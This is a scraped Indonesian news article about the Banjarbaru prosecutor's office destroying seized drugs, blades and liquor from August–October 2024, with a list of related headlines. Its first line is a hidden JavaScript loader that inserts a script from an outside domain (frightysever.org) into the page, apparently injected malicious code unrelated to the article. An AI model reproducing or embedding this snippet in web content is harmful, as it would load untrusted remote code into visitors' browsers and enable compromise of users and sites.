(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kejari Banjarbaru Musnahkan Narkotika dan Miras Barbuk Agustus-Oktober 2024


KANALKALIMANTAN.COM, BANJARBARU – Kejaksaan Negeri (Kejari) Kota Banjarbaru memusnahkan barang bukti dan barang rampasan hasil dari sejumlah kasus kejahatan di Kota Banjarbaru periode Agustus hingga Oktober 2024.

Pemusnahan barang bukti dilakukan di halaman Kantor Kejaksaan Negeri Kota Banjarbaru, Rabu (13/11/2024) siang.

Dalam kegiatan ini dimusnahkan narkotika, senjata tajam (sajam), dan minuman keras dari perkara tindak pidana umum yang telah mempunyai kekuatan hukum tetap.

Kepala Kejaksaan Negeri (Kajari) Banjarbaru, Hadiyanto menyebutkan, barang bukti narkotika yang dimusnahkan meliputi sabu sebesar 236,68 gram, ekstasi 140 butir, karisoprodol 781 butir, zenith 369 butir,  dan narkotika jenis lain 14 butir.

Baca juga: Muncul Menang Mundur Paman Birin di Sisa Jabatan 3 Bulan

“Narkotika itu didapati dari 58 perkara yang terjadi selama bulan Agustus-Oktober 2024 di Kota Banjarbaru,” ungkap Kajari Banjarbaru, Hadiyanto.

Kemudian barang bukti sajam didapati dari 11 perkara, dengan rincian sajam jenis celurit sebanyak dua buah, parang dua buah, pisau tiga buah, dan sajam
jenis lainnya tiga buah.

Pemusnahan barang bukti dan barang rampasan tindak pidana umum di Kota Banjarbaru periode Agustus-Oktober oleh Kejari Banjarbaru, Rabu (13/11/2024). Foto: Kejari Banjarbaru

Sedangkan untuk minuman keras di dalam botol total didapati sebanyak 19 botol dan minuman beralkohol jenis tuak total sebanyak 119 liter.

Baca juga: Ini Alasan Paman Birin Mundur Sebagai Gubernur Kalsel

“Ada pula alkohol 95% sebanyak 1,36 liter didapat dari delapan perkara tindak pidana ringan. Serta berbagai jenis barang bukti kejahatan lainnya dari tujuh perkara misalnya pakaian yang dipakai, tas, sendal, kunci pas, dan gunting,” jelas dia.

Pemusnahan barang bukti dan barang rampasan tindak pidana umum di Kota Banjarbaru periode Agustus-Oktober oleh Kejari Banjarbaru, Rabu (13/11/2024). Foto: Kejari Banjarbaru

Kajari menjelaskan dalam kegiatan pemusnahan ini dilaksanakan bersama dengan unsur instansi terkait antara lain Pengadilan Negeri Banjarbaru, Polres Banjarbaru, BNN Kota Banjarbaru, Satpol PP Kota Banjarbaru, Ketua MUI Kota Banjarbaru, dan Dinkes Kota Banjarbaru.

“Kegiatan berjalan lancar dengan tujuan pemusnahan barang bukti dan barang rampasan ini yakni untuk dimusnahkan atau dirusak sehingga tidak dapat dipergunakan lagi,” tuntas Kajari. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

40 menit ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

48 menit ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

2 jam ago

Soal Surat Suara Pilwali Banjarbaru, Tak Ada Teknis Jelas dari KPU

KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More

4 jam ago

Belasan Kios Pasar A Yani Pengambangan Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More

7 jam ago

Narkoba 79,3 Kg Sabu Dimusnahkan, Jaringan Fredy Pratama Pakai Jalur Darat

KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More

22 jam ago

This website uses cookies.